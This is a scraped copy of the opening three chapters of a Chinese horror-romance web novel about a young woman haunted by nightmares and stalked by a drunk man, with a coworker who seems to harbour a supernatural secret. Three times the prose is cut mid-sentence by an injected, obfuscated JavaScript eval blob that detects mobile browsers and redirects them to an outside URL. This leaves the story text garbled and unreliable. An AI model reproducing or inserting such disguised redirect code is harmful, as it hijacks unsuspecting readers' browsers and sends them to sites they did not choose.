《破咒》 1. 第1章梦魇 郁峤住的房子浴室的窗户很奇怪,是对着外面的楼梯间的,虽然磨砂窗安装得很高,不必担心被看见。 但郁峤每次进浴室时还是忍不住抬头去看那扇窗户,玻璃后是黑暗的楼梯间,声控灯偶尔会因为一些声响亮起又暗下,她总觉得在她低下头的时候有一股视线悬在她的头顶,直勾勾地看着她。 但抬头看时那里什么也没有。 郁峤关上水龙头离开浴室。 就在她刚走到房间门口时,灯突然灭了,整个屋子陷入了一片黑暗。 “停电了?”郁峤慌忙打开手机的手电照明,赶紧跑进房间,却在经过防盗门时听见了敲门声。 郁峤一惊。 咚,咚,咚……不轻不重很有规律。 手机显示现在是晚上十一点了,这个点外面会是谁呢?郁峤并不打算开门,脚步轻缓地准备去看猫眼。 发现里面没有反应,外面的人似乎着急了,敲门的力度逐渐变大,变成了用力地砸门声,郁峤被吓得向后退去,四下环顾,准备将一旁的桌子挪上去抵住。 未等她移动桌子,哐的一声巨响,门被打开了,跟着被打开的还有这间屋子所有的窗户,冷厉的风灌了进来,吹的窗帘飘摆发出啪啪的声音。 门外没有人,而是一片虚无的黑色,寒冷的风呼啸而过,穿过门窗发出呜呜的叫声,凄厉可怖。 黑暗深处似乎有什么东西正在逼近,可她无处可避。 她尝试去关门,但门无论如何都合不上,她想去关窗,但窗户也关不上……恐惧与无力感像毒蛇一样缠绕着她,四肢冰冷。 唯一可以带来安全感的只有床上的被子。 对,被子。 郁峤爬上-床慌忙将自己裹在被子里。 被子好像自带结界,将一切危险都隔绝开了。 就当郁峤稍感安心时,一双血肉模糊的大手赫然出现在了床尾,死死拽住了郁峤的被角用力地往下拽,好像拽住的不是被子,而是郁峤的皮肉,它要将郁峤一起带入那无边无际的黑暗里去。 嘀嗒嘀嗒的粘稠血液染红了被单,鲜红刺目,令人作呕。 “从……从兹缔咯咯结……嘻嘻……订成咯咯……”床底传来了一声嬉笑,那声音像是玻璃碎片刮黑板,刺耳难听,断断续续,似乎是在念着什么。 那个东西力气很大,连带着郁峤也被拖向床尾,郁峤死死拽着被子双脚撑着床,拼尽全力与那个东西对抗着,指节因过度用力而发白。 发现拽不动,那个东西似乎怒了,开始疯狂踹起了床板,床板发出巨大的声响,双人床像是大海里的一艘小舟,摇摆不定,仿佛下一秒就要破碎。 郁峤想要尖叫,但根本叫不出声。 突然,被子另一端的力气消失了,郁峤因为惯性重重倒在了床上,床底也恢复了平静。 不等她松口气,一张只长了双眼睛的黑脸骤然出现在了她的眼前,额头抵着额头,四目相对。 那东西眼仁小的不正常,好像只有瞳孔,死死地盯着她,像要将她生吞活剥。 即使在梦里见过不止一次了,但郁峤依然觉得可怕,身体抖得厉害。 随后一只冰冷的手抚上脸颊,让人汗毛直立。 “……妻……” 什么? “叮叮叮叮!” 郁峤睁开眼睛,猛吸了一口空气,伸手将闹钟关闭。 没想到将她从噩梦里救出的居然是起床的闹钟,一时间不知道到底谁更恐怖。 镜子里自己的脸色苍白,眼底是浓重的乌青。 一边刷牙一边打开手机查看物流消息,郁峤望着外面晴朗的天气觉得稍微好受了一些。 今天单位事情并不多,趁着领导不在,同事们都聚在一起聊八卦。 “我今天上班路上经过季桦园的时候看见那里拉了警戒线!”同事L神神秘秘,“刚才我看业主群里他们发的照片,好像是个小姑娘出来夜跑被杀了。” “天呐,最近这种事情好多啊。”有人感叹,“前段时间不是也发生过类似的事情吗?受害者还是个高中生,凶手到现在都还没有抓到。” “最近真的好不太平啊,近段时间晚上大家还是结伴回家吧。我开车也能搭几个顺路的。” 郁峤在旁边听着,有些不在状态。 “郁峤,你这几天怎么了啊?脸色好差。”一个温柔的声音从头顶传来。 郁峤抬头看去。 那是一个帅得很正气的男人,一双瑞凤眼笑意温柔,每个五官都端正到可以去做整容模板,虽帅气却又没有那么尖锐出众,像一块羊脂玉温润,又像一座山沉稳俊秀,看一眼就让人觉得舒服。 不知道为什么,方容时一靠近郁峤就觉得安心不少。 “来,豆浆。”方容时将一杯热气腾腾的豆浆递了过来。 “谢谢。”郁峤接过,道谢。 “生病了吗?”方容时拉来凳子坐下,他的工位就在郁峤后面。 “没有,就是最近没睡好。”郁峤活动了一下僵硬的脖子,“最近我家里人催我回去相亲,有点烦。”她没说噩梦的事情。 “那你是怎么打算的呢?”方容时注视着她。 “当然是拒绝了,最近也不会主动联系他们了。”郁峤耸耸肩,“真是皇帝不急太监急。待会儿老板就要来了,赶紧开始工作吧。”说着转回到工位里。 方容时望着郁峤,不易察觉地眯起了眼睛。 一般情况下大家都是在上班的时候死气沉沉,下班回家了才恢复活力。 但郁峤不一样,她只有在上班时才感觉稍微好受一些,可能是因为单位人多阳气足的缘故。 郁峤不想回家。 或许是因为独居又听说了最近的恶性事件导致的神经过敏,郁峤怀疑有人跟踪她,甚至有可能藏进了她的家里。 这几天下班回家的路上她总能感受到一股存在感很强的视线,哪怕在家里锁上了门拉上窗帘也没办法隔绝这股视线。 家里物体的位置会莫名被移动,比如鞋子、水杯跟其他什么东西。她很确定那些东西就是被移动了,不然如何解释前一天晚上还好好放在桌子上的杯子为何会掉在地上? 郁峤一度想要报警,可事情没有那么简单。 夜晚的时候,门外时不时地会传来轻微的敲门声或者转动门把手的声音,可当她看向猫眼时却发现外面却空无一人。 睡觉的时候,客厅里会传来脚步声,好像有人在客厅里来回踱步,脚步声会停在她的房间门口,一会儿后继续踱步。 郁峤的睡眠很浅,一点不寻常的动静都能让她辗转难眠。 她不敢开门确认,直到有一次忍无可忍,她将菜刀带进了房间,在脚步声出现时握着菜刀推开门冲了出去。 外面空无一人。 她租的房子很小,客厅的东西也很少,并没有什么可以藏人的地方。 可她总感觉有什么东西潜伏在黑暗里带着恶意注视着她。 她觉得窗帘后躲了人,但并没有人站在那里。 她觉得房门后躲了人,但并没有人站在那里。 她觉得床底下躲了人,但并没有人躺在那里。 郁峤还开始频繁做噩梦,明明睡眠时间很足,但醒来时依旧疲惫不堪,严重精神不济,已经影响到日常生活了。 城中村的出租房监控并不完善,于是郁峤自己网购了两个监控打算在门口和客厅各装一个,她倒要看看到底是什么东西敢在法治社会兴风作浪。 一但得到有人骚扰的证据,她就一通报警电话请那个混-蛋去吃公家饭。 就算没有人,也能图个心安。毕竟对于独居女性来说,监控也算一种保障吧。 时间流逝,很快就到了下班时间,外面天已经半黑了,马路上川流不息。 作为超级自觉的打工人,郁峤一到打卡时间就立马收拾东西准备离开,绝对不会多待一秒,因为她还要赶回家的公交车。 “郁峤。”在郁峤打完卡要出门时,方容时叫住了她。 “怎么了?” “最近外面不太安全,今天让我送你回去吧。”方容时一脸认真等着郁峤的回应。 “喔唷~看好你哦。”路过的同事发出一声怪叫,拍了一下方容时的肩膀,迅速跑掉了。 郁峤目送着同事的背影,忍不住一笑,回头看向方容时,“好啊,那就麻烦你了。” 之前公司聚餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114193|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到很晚,方容时送过一次郁峤回家,还记得路线。 方容时喜欢郁峤的事情众所皆知,郁峤也知道,但两人目前还未点明,谁也没有过线的动作,只是当关系要好的朋友相处。 但面对这样一个温柔帅气的男性,郁峤说不心动那是骗人的。 晚高峰,两人被堵在了红灯一片的车流里,车内播放着双方都喜欢的音乐,空调口吹着舒适的冷风,车门将外面炎热的温度与喧嚣隔绝在外。方容时观察着路况,郁峤在副驾用手机查看监控器的使用说明。 “在忙什么呢?”看来还要等很久,方容时准备挑起话题。 “在研究这个监控,才买回来,打算今天晚上试试看。”郁峤回复。 “你一个人住,确实需要注意这方面的安全问题。”方容时点点头,又问,“你是最近遇到什么事情了吗?” “什么?” “你最近状态真的很不对,有什么事情不要自己一个人憋着,可以跟我说说。”方容时扭头看向郁峤,昏暗的环境里那双眼睛却依旧明亮。 “……”郁峤注视着那双眼睛,那双眼睛好像有什么魔力,能使人信服安定。想说的话在肚子里斟酌了一圈,开口道,“我怀疑有人跟踪我。” “嗯。” “但一直没有看见到人,所以我才买了这个监控器,哪怕图个安心也好。”说出来后郁峤呼出了一口沉重的气,旋即又有些害怕,“我现在甚至怀疑有人藏在我家里偷-窥我。”说罢又自嘲地笑了,“也许是我最近太紧张了。” “最近恶性事件比较多,会感到紧张是很正常的,保护自己也是再正常不过的举动。”这时前面的车终于开动了,“有什么我帮得上忙的地方吗?” “麻烦你这段时间送我回家?”郁峤半开玩笑,但她知道方容时一定答应。 “好啊。”不出所料,方容时认真点了点头,“为了你的人身安全。今天让我送你上楼吧,你不是担心有人藏在你家吗?我们两个一起找找,也好让你放心一点,今天争取睡个好觉。” “太谢谢你了。”郁峤也不客气,“那我就请你吃一顿疯狂星期四表示感激咯。” “要两顿。”方容时咧嘴一笑目视前方。 作为刚出来工作的贫穷女孩,郁峤住在离单位较远的城中村里,各种小路七拐八绕,有些路段路灯坏了只能用手机照明。 方容时跟着郁峤上楼,郁峤住在七楼顶楼,但这种层数不高的老房子并没有安装电梯,只能一层一层爬上去。 到门口时方容时开始查看郁峤门口的楼梯间。 “怎么了?”郁峤打开门。 “我看网上说有人会在别人家门口做标记,检查一下。”方容时拿出手机打开手电,仔细检查。 “我上次检查过了,没有。”郁峤也凑过来。 “小心一点总没错。”方容时收起手机起身,“接下来检查一下客厅,再把监控安装上吧。” 两人又将整间屋子都检查了一遍。其实没什么好检查的,这间屋子面积不大,格局就是一房一厅一卫一厨,东西也比较少,除了门后跟窗帘外确实也没什么可以藏人的地方。方容时还拉开窗帘仔细观察了外面的情况。 “这房间还挺不错的。”方容时检查完后对着客厅点了点头,但脸色有些凝重。 “那当然。”这可是郁峤挑了好久才挑上的房子,除了通勤有点远外其他地方她都很满意,“都检查完了,我们把监控装上吧。” 安装上监控后又调试了一下,确定可以正常运行后两人终于坐下来喝了杯水。 “时间不早了,我也该回去了,你也早些休息。”方容时放下水杯,起身准备离开,“不用送我,我自己下去就好。” “好的好的,我就送你到门口。”郁峤打着哈哈,走到门口将门打开,“那么,明天见。” “明天见。”方容时笑着,伸手在郁峤头上轻轻拍了拍,似乎是在开玩笑。 郁峤也拍了拍他的头当做回礼。 门被关上了。 方容时注视着郁峤家的门,脸上笑意全无,那张和煦的脸不笑时有种说不出的阴郁感。 良久,他伸手用指甲在墙壁上刻下了一个图案。 2. 第2章跟踪者 或许是因为跟方容时检查了一遍确定了确实没人,当天晚上那个如影随形的注视感消失了,睡觉时客厅的可疑动静也随之不见了,甚至都没再做噩梦,当晚郁峤难得睡了个好觉。 接下来的三天里方容时真的每天都送郁峤回家,那种被人跟踪偷-窥的感觉也没再出现。 从监控里郁峤也没有发现有什么不对劲的地方。 是发现自己身边有男性所以放弃目标了吗?郁峤心里依然惴惴不安。 而且即使最近没再做噩梦了,但郁峤依旧感觉到自己的精力在不断地流失,越来越容易疲惫,工作也出了几次错。 郁峤觉得自己这段时间真的是倒霉透了。 “你看新闻了吗?上次的那个杀人凶手抓住了!” “太好了,这些天害得我担惊受怕的,都没敢晚上出去吃夜宵。” “那我今天晚上陪你,你请客哦。” 办公室里同事见缝插针地聊天,郁峤一手撑着脸一手拿着勺子搅拌速溶咖啡。 “郁峤?郁峤!” “怎么了?”被叫了好几声后郁峤才回过神来。 “这份文件麻烦发我一份。”方容时举起手机指了指,“又没睡好吗?” “还好。”郁峤抓起鼠标传送文件,然后想到了什么,“对了,谢谢你最近这几天送我回家。” “不用谢。”方容时莞尔。 “我这几天一直有注意监控,但并没有发现什么,大概是那几天我太紧张了。”郁峤抿嘴一笑,“以后就不麻烦你继续送我了。为表感谢,今天让我请你吃饭吧。” “那我就恭敬不如从命了。”方容时笑着答应了下来。 下班后两人去了经常去的那家火锅店,开开心心吃完饭后方容时将郁峤送到了巷子外。 “不用下来送我了,我自己进去就好了。”郁峤下车后冲车内挥挥手,“明天见。” “注意安全。”方容时点点头,目送郁峤走进巷子。 巷子里灯光微弱,灯照不到的地方黑漆漆的,好似怪物张开的嘴。 今天回来得晚了些,时不时能听见远处喝醉的人的吵闹声,还有低层居民的起居声。 单独走这段路时郁峤会格外小心一些。这片区域出来租房子的大学生居多,治安还算稳定,但不代表就一定安全,毕竟住在这里的不止大学生,还有许多同她一样进城工作的人。 醉酒男人的声音逐渐变大,他们离郁峤越来越近了。 谁也不想跟几个醉汉走同一条道。 郁峤仔细分辨着声音的位置,想着怎么绕过他们,却在这时听见身后传来了脚步声,下意识要扭头去看,突然一只手搭在了她的肩膀上。 郁峤一惊。 “是我。”方容时不知何时出现在了她的身后。 “你吓死我了!”郁峤一口气差点没上来,不轻不重地给了他肩膀一锤。 “不好意思。”方容时立马解释,“刚才看见有几个喝了酒的人走进来了,实在不放心,想着还是送送你比较好。” “谢谢。”郁峤轻声道谢,长呼一口气。 但她很快发现,在方容时出现后,那几个醉汉的声音就消失了。 可能是走了另一条路离开了吧。 方容时将郁峤送到门口,没有跟着上去,郁峤上楼时回头看了他一眼,只可惜方容时上半节身子刚好隐在了阴影里,看不清五官,只感受到视线正落在她身上。 “拜拜。”方容时见她回头,朝她挥手。 郁峤笑着回应,快步上楼。 很快到了周末,终于从可怕的早八中暂时脱离出来,郁峤一觉睡到了中午才起。 郁峤一边悠哉地煮着午餐,一边拿着手机查看监控录像。 虽然最近几天都没有再出现异常,但各种社会新闻提醒着她不能掉以轻心,这几天甚至养成了上楼前查看监控的习惯。 一切正常,郁峤准备收起手机,这时路清发来了消息。 “今天想去看电影,有空吗?”路清是郁峤难得生活在同一座城市的朋友,只是一个城南一个城北,偶尔才见一面。 “什么时候?” “下午三点,老地方见。” 周末与朋友一起进行一些娱乐活动是放松的好手段,只是因为最近的事情,郁峤不敢在外待到太晚,于是在吃完晚餐后就与朋友告别回家了。 郁峤跟路清说过最近她遇上的事情,于是提出要送郁峤回家,但被拒绝了。 “路程太远了,等你送我回去也太晚了,你也不安全。再说,现在还早,我趁早回去就好啦。”郁峤安慰道。 “那你到家后给我发消息哦。”路清不放心地看着郁峤。 “安心啦。”郁峤拍了拍她的肩膀。 郁峤回到住所锁上门后天甚至还没有完全黑下来,打开客厅的灯跟风扇,然后将客厅房间的窗帘全部拉上,全封闭的空间让人感到安全。 一直到深夜,刷足手机的郁峤才准备洗澡洗头上-床休息,就在她抓揉着头顶的泡沫时,楼道里传来了一阵脚步声,外面的声控灯亮了一下,一段时间后又熄灭了。 郁峤手上的动作停顿了,因为她并没有听到脚步上楼的声音,也没有听到脚步下楼的声音。 突然一股恶寒从脊椎爬了上来,郁峤察觉到了什么。 她没敢抬头去看头顶的窗户,双手随意在裤子上擦了擦,拿起手机转身离开了浴室,赶紧打开门外的监控查看情况。 看见监控视频后,郁峤瞳孔一缩,汗毛直立。 此时此刻,她的门外真的有一个男人! 郁峤的监控安装地很隐蔽,她特地买了很夸张的门饰装饰大门,监控被“顺带”的“装饰”了,不抬头仔细看基本上发现不了。 从监控里看,那是一个个子高大的寸头男人,他在楼道里转悠,特地放轻了脚步不去触发声控灯,时不时凑近防盗门去看猫眼侧耳听门内的动静,还轻轻试着去按门把手。 他想要进来!意识到这个可怕的事情,郁峤四肢一软,差点没拿稳手机。 郁峤下意识想要报警,这时门外传来了敲门声,在落针可闻的室内,这敲门声格外可怕。 “咚咚咚……咚咚咚……”那人只是敲门,没有说话。 郁峤被敲门声吓得一哆嗦。她没有回应,只是站在原地,死死地盯着防盗门。 “咚咚咚……”又敲了几下,依旧没有说话。 两人就这样对峙了大概两分钟,外面那人在楼道里转了一圈后,不知道为什么,转身下楼了。 郁峤心有余悸站在客厅里久久没敢挪动半分,她头一次觉得面前那扇防盗门可能还不够牢靠。 许久后才攒起了力气,上前确认了好几遍门确实锁好了,才稍微放心了一点,缓缓后退坐在了沙发上。 明明是炎热的夏天,但她却觉得浑身冰凉。 现在报警吗?不,现在那人什么都没干,报警也没办法对他怎么样,估计也就教育几句,万一被打击报复那就糟糕了……郁峤努力控制着自己身体颤-抖的幅度,强迫自己冷静。 不能坐以待毙,郁峤抬眼看向防盗门。 罗四是名大三的学生,放假后跑到城里来找没考上大学外出打工的高中同学在一起鬼混。 一次几人喝完酒打算去下一轮时,在路上遇见了一个女生。 那女生瘦瘦小小的,估摸着也就一米六几,样貌看着应该比他们大不了多少,一副典型乖乖女的模样,一个人走在昏暗的巷子里。 是罗四喜欢的类型。 罗四在跟踪了郁峤几天后很快就猜出这个女生是外出工作在这里独居,跟踪了两天后确定了想法,只是有一次看见一个男人送她回家,难道是女生的男朋友? 那种娘们兮兮的男人有什么好的?罗四没来由的一股火,觉得自己这种阳刚的男人才应该更得女人青睐。 他将自己对女生的想法跟朋友说了,还夸下海口,说自己半个月之内一定能睡到女生。 于是在自己一腔热血跟朋友的怂恿下,他偷偷摸-摸的摸到那女生所住的楼层。 他喝了点酒,想着酒壮人胆,直接敲开那女生的门然后霸气地让她离那个男人远点,然后再表白一通,没有哪个女生会对这种霸道的表白不心动吧?而且女生小胳膊小腿的,也不能把自己怎么样。 再说,这个地方大多数的楼层都没有安装监控,自己就算真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114194|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做点什么也没有证据。 但当他站在那扇防盗门前时却莫名感觉到了一股寒意,顿时酒醒了一半,他那一身豪情壮志也被削减了一半。 上层楼梯间的灯坏了,无论什么动静那层楼梯间都是黑暗的,黑洞洞的楼道莫名地让人感到害怕与不安,好像有人藏在黑暗里注视着他。 想敲门的手举起又放下,罗四在楼道里上看下看确定没人才重新回到门前。 重新心理建设后,罗四鼓起勇气敲了敲门。 “咚咚咚……”敲门声回荡在楼道里格外恐怖。 里面没有回应。 又敲几下。 还是没有回应。 罗四耐着性子等了两分钟,想再敲门时,突然一股凉风吹过他的后颈,好似有人在他身后吹了一口气,激得浑身的寒毛都立起来了。 罗四四下张望。楼道里很安静,没有其他人的身影与脚步声,但灯光未照到的地方越看越叫人毛骨悚然。 罗四临阵脱逃了。 回去后果然被朋友们狠狠嘲笑了一番,身为男人的自尊心被狠狠的践踏了,于是他打算找个机会再去找那女生一次,这次他一定要做出点什么“成绩”。 机会很快就让他蹲到了。 今天是星期六。 这天女生回来得很晚,还穿着一件有些性感的吊带短裙,走路的姿势有些不稳,看样子应该是趁着假期跟朋友出去喝酒了,而今天的她是一个人回来的。 看着女生的背影,一股冲动从心里挤里上来,好似有一个声音催促着蛊惑着他,告诉他这可是千载难逢的好机会。 快上去。 快上去! 就这么鬼使神差的,罗四跟了上去。 或许是喝了酒,女生的警惕性明显降低许多,就连罗四跟上楼了也没有察觉到。 罗四就跟在女生后面,像一只盯紧猎物的黄鼠狼。 就在女生打开防盗门的一瞬间,罗四一个箭步上前用手顶住了门另一只手揽上了女生的腰,推搡着就要挤进屋内,一边推一边想要去亲吻女生的脸。 他好像失了智,强烈的紧张与兴奋感让他短暂失去了思考的能力。 “你是谁!放开我!”女生被吓了一跳,尖叫着用力想要推开罗四,但可惜力量悬殊。 就在罗四用脚一勾将门关上以为万事大吉时,房门突然打开,一个手持棒球棍的女生跟一个高大的穿着制服的男人从房间里钻了出来。 “放开她!”女生声音尖锐响亮。 罗四如梦初醒,在看见制服后吓得差点跳起来,下意识就推开女生拉开门往楼下跑去。不料那女生反应也快,反手抓住了他的手腕,手劲不小,拽住了他。 “别想跑!”郁峤大喝一声。 作为一个混混,罗四身上习惯性带着防身武器。他反手掏出一把水果刀,刺向郁峤。郁峤急忙躲避,手上力气一松,被罗四挣脱了束缚。 楼道里黑漆漆的,上楼时还会亮的感应灯此时却都罢工了,不论他的脚步有多么的响亮也没有反应。但哪怕看不清楼梯也不敢放慢脚步,身后的脚步正逐渐逼近,罗四可不想去派出-所喝茶。 这段楼梯似乎格外的漫长,他明明记得也就七楼的高度啊?但怎么跑这么久了还没有看见大门?七楼的楼梯有这么难下吗? 就在他有些疑惑时,黑暗中迎面撞上了一个人。 “呀!”罗四被撞得摔倒在地,尖锐的疼痛从尾骨传来,“谁啊!” “……”那人没有说话,黑暗的环境里看不清那人的面容。 算了,没时间跟这人掰扯。罗四扶着梯子爬起来,打算绕过那人继续下楼,结果下一秒好像有什么东西缠住了脚腕,凉凉的,黑暗里罗四压根不知道那是什么,下一秒只觉得自己被那东西扯着脚腾空而起,一阵天旋地转后狠狠砸在了地上,眼冒金星,等恢复视线后楼道的感应灯亮了起来。 一个男人将他双手钳在身后,膝盖抵住后背将他压-在了地上。 “容时!”郁峤跟路清与其哥哥追了下来,正好看见这一幕。 “你没事吧?”方容时看向她。 “我没事。”郁峤摇摇头,看向被按在地上的男人。 3. 第3章雨夜 那天晚上过后,郁峤总算是松了一口气。 多亏了路清跟她正好在这片当警察的哥哥,还有神机妙算的方容时。 她将敲门的事情与自己的大致计划与好友们说了后,几人立马商讨出了详细可行的方案。 首先路清跟哥哥先躲进郁峤家里,然后郁峤假装毫无防备的深夜回家,让跟踪者放松警惕,等其强闯民宅时一举拿下,为了防止那小子逃跑,方容时就在楼道里堵住后路。 强闯民宅可比莫须有的跟踪罪名严重多了。 唯一不确定的就是跟踪者会不会真的如计划里的那样强闯民宅。 “放心吧,他会的。”方容时很笃定。 “为什么?” 方容时笑而不语,故作玄虚地用手指点了点脑袋。 事情就是这么凑巧这么顺利,居然就这么将跟踪者抓到了,成功将其送到警局,没想到居然还是个学生,已经通知家长过来了。 郁峤表示绝对不和解后就没再费心关注这件事了。 可虽然将跟踪她的小混混正义执行了,郁峤依旧觉得十分不安,大概是被这件事吓到了,之前上学时也被人贩子跟踪过,那段时间自己也是草木皆兵。 都怪这个社会给女性的安全感太低了。郁峤拍了拍脸,让自己打起精神来。 估计是夏乏,她最近的精神越来越差了,明明每天晚上都睡足了八个小时,但第二天依旧精神不济。 星期二。 “嘀咚。”桌子上的手机响了一下。 上班的时候,哪怕是垃圾短信也会借此机会拿起手机摸一下鱼。 是母亲发来的消息。 作为一名二十四岁的未婚女性,郁峤在老家那个思想封建的地方简直离经叛道。虽然自家父母不催,但老家的亲戚却是一个比一个着急,恨不得亲自把郁峤抓回去结婚生子。 只可惜郁峤父母早就从村里搬到了县里,郁峤平时也不回去,千里之外的郁峤他们催不到,于是就给郁峤父母上压力,父母溢出的压力自然过渡到了郁峤身上。 这不,母亲就发消息过来说家里人给她介绍了对象,让她加上微信聊聊。 “大家也是为你好,你姑姑也很为你上心呀,上次还向我们要了你的八字,说要给你配个好姻缘呢。” 八字什么的不就是封建迷信吗?要是真有用那不如直接让国家收录统一计算,到年纪直接分配对象好了。作为接受过九年义务教育的社会主义接-班人,郁峤对这些东西嗤之以鼻。 再说,那个所谓的姑姑其实也就小时候见过几次面但完全不熟的陌生人罢了,印象里神神叨叨的一个女人,郁峤对她,没什么好感。也不知道哪根筋搭错了,突然就操心起这种事来。 郁峤听一个老人说过,身边未婚的女性就是可以交换的资源,将身边的女性推荐给男性,如果婚事成了,牵线人就能在男方那里拿到说媒的钱,几千到上万不等,于是有很多人都会在女方面前将男方吹得天花乱坠,哄骗女性与男性结婚。 这也能解释为什么一些连面也没见过几次的亲戚会那么热衷给自己介绍对象了。 损阴德的生意。郁峤评价。 郁峤简短地拒绝了加好友的请求,手机一关,拿起水杯打算给自己冲点速溶奶茶。 “真的,我上次就去求了个符戴在身上,现在感觉真的好多了,精神都变好了。”茶水间里两个同事正在聊天。 “真的吗?那周末我也要去求一个,总感觉自己最近特别倒霉。” “什么东西呀?”郁峤接水时好奇地问。 “这个呀。”同事从胸-前掏出一个黑色布缝制的三角吊坠,很朴实的一个吊坠,黑布没有任何花纹,简单地用一根同色系的绳子系着,“我妈带我去观里求的,可灵了,打算周末再去一次呢,就在相山,要一起吗?” “不了,我懒,爬不动山。”郁峤苦笑着摇摇头,“这个里面是不是还装着什么东西?” “好像是有大米跟符咒什么的,反正不能碰水。” “哦哦。”郁峤点了点头,不打扰两人,冲好饮品后就离开了。 真是魔怔了,居然有那么一瞬间心动了?郁峤吹着热气腾腾的奶茶,话说真的有那么灵吗?其实是心理作用吧?就像医生开的安慰药剂……说起来,如果这个状态再这样下去,就去医院看看吧。 郁峤叹了口气。 “怎么了?唉声叹气的。”方容时抬头看向郁峤。 “春困夏乏呀。”郁峤坐回工位,瘫在了办公椅里。 “你周末有空吗?” “有吧?怎么了?” “要一起去爬山吗?”方容时干脆转过椅子,“就离这最近的,相山。” “怎么突然想爬山啊?”郁峤拿出手机查看未来天气,“阴天,三十度……” “我看了,天气还不错。” “我最近没什么精神,算了吧?”郁峤真觉得自己浑身提不起劲。 “说不定就是因为缺乏运动呢?”方容时似乎很想去,“一起去吧,食物跟水都由我来准备,你负责到场就行。听说相山上有个很灵验的道观,要不要到时候买几张刮刮乐上去试试?求求财运。” “抱歉啊。”郁峤挤出一个勉强的笑容,“我真的,没什么精神。” “好吧,那我们下次去。”方容时没再坚持,“最近还好吗?没再有上次的事情发生了吧?” “没有了,最近那边也查得比较严。”因为郁峤的事情,最近警察在那边安排了巡逻,安全自不必说。 “那就好,要是有什么事情一定要跟我说。”方容时一本正经,他长相本来就长得很正派,黑色的眼眸像一颗沉稳黑曜石,只要看一眼,就会觉得安定可靠。 “一定一定。”郁峤连连点头。 这个世界上怎么会有这样的人啊?跟个镇定剂一样。郁峤暗自嘀咕。 下午时气象局发来短信通知最近有台风登陆,提醒广大市民群众近两天注意防范。 等到了晚上,室外的风便已经明显的变大了起来,吹得街边的木棉树都有点东倒西歪,被随手丢掉的垃圾在天上飞舞盘旋,大家纷纷将晾在外面的东西收进屋里,以免乘风而去造成不必要的损失。 听着外面呼呼的风声,还有远处隐隐约约的雷声,郁峤检查了一下家里的窗户,然后拉上了窗帘。 这天气简直太适合睡觉了,如果台风稍微严重一点能停工一天就更好了。郁峤窝在沙发上刷着手机,悠悠地想。 等她从丰富多彩的网络世界里挣脱出来时已经是晚上十一点了,外面已经下起了淅淅沥沥的小雨。 郁峤伸了个懒腰起身去刷牙睡觉。 在她起身时,楼上传来了重物落地的声音,虽然动静不大但是在夜深人静的时候还是格外地突出瘆人。 应该是谁养在楼顶的植物被风吹倒了,现在的风确实大,再晚些应该还会下大雨。 郁峤走到洗漱池前,挤上牙膏开始一手刷手机一手刷牙。 其实今天应该答应方容时一起去爬山的邀约的,因为各种原因确实已经很久没有出去呼吸过新鲜空气了,等明天再跟他说吧。话说那个道观真的有那么灵吗?要不去之前攒点抽卡资源试试,那个想要的角色一直都没有抽到…… 郁峤有一搭没一搭地想着,听见外面传来一阵跑步上楼的声音,脚步很重,还伴随小孩嬉闹的声音。 谁家小孩这个点了还在楼道里乱跑?郁峤忍不住在心里浅浅谴责了一下不负责的家长,收拾好后关上客厅的灯,在进房间时还顺手检查了一下防盗门是否反锁,确定后才走进房间将房门关上。 不出所料,刚才还淅淅沥沥的小雨在深夜转为暴雨,狂风骤雨无情地洗刷着这座城市。 风将窗户推地摇晃着发出哐哐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114195|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响声,雨点砸在玻璃上声音清脆,两方发力将原本平静的夜晚扰得不得安宁,人虽然躺在房间里,但周身的动静却像是躺在火车经过的铁轨上。 希望排水系统给点力,我可不想穿着拖鞋通勤……不,直接淹了吧,这样就不用去上班了。郁峤在床上翻来覆去睡不着,于是拿起手机打算看会儿小说。 暴雨的劲也就一时,很快外面的动静就慢慢小了下来,从火车转长途了。 正在郁峤看得有些昏昏欲睡时,一声什么东西拍在窗户上的声音将她惊醒了。 听动静应该是谁家没来得及收的衣服被风拍窗户上了。郁峤翻了个身,打算明天再说,半夜三更她是绝对不会去拉开窗帘的。 可没过多久,又是一声“啪”在窗户上,紧接着又是一声。 哪有那么巧的事情?郁峤立马将手机反扣,警惕地盯着那扇窗户,黑暗里眼睛瞪得溜圆,耳朵仔细注意着外面的动静。 郁峤买的窗帘遮光性很好,根本没办法看到外面有什么东西,不过那也说明外面也看不见里面。 外面是老式的特别结实的防盗杆,而且自己住在较高楼层,就算有人爬墙上来也得带着工具才能撬开外面的防盗杆,自己待在房间里很安全。而且说不定就是谁家衣服拍上面了,明早起床说不定还能收获三件二手衣裤呢。 郁峤安慰着自己。 